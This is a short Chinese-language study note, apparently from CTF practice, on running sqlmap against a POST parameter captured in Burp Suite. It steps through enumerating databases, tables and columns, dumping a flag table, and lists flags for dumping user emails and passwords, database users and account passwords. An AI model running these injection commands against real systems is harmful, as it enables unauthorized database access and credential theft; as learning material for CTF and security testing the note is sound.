(之前刷基础题遇到的都是get请求的sql注入,偶然遇到post请求的注入,记录一下sqlmap新姿势)
sqlmap(post方式注入)
首先bp抓包,数据包copy to file
sqlmap.py -r “D:\1.txt” -p admin_name - -dbs
解释一下 -r是读文件 后面是刚才保存的绝对路径,-p是参数,也就是注入点(选了admin_name是注入点)- -dbs意思是想获取数据库名字sqlmap.py -r “D:\1.txt” -D bugkusql1 -p admin_name - -tables
解释:-D是表示选择了后面的这个数据库 - -tables是想获取表sqlmap.py -r “D:\1.txt” -D bugkusql1 -T flag1 -p admin_name - -columns
爆列名,解释类似上面 不过加了一个-T 指定表最后查字段 命令:sqlmap.py -r “D:\1.txt” -D bugkusql1 -T flag1 -C flag1 -p admin_name - -dump
解释:同上面 - -dump是获取字段的命令
(在这过程中可能会让你选择Y或者N 可以回车默认)
sqlmap注入基本命令
爆库 - -dbs
-D 选择库 - -tables 爆表
-T选择表 - -columns 爆列名
-C选择列名 - -dump 查询字段
如果字段内容太多,需要花费很多时间。可以指定导出特定范围的字段内容
-u “http://192.168.1.150/products.asp?id=134“ -D tourdata -T userb -C “email,Username,userpassword” - -start 1 - -stop 10 - -dump
参数:
指定开始的行 - -start
指定结束的行 - -stop
此条命令的含义为:导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容。
(补充)
自动跳过询问语句 - -batch
web数据库使用账户 - -current user
列出sqlserver所有用户 - -user
数据库账户与密码 - -passwords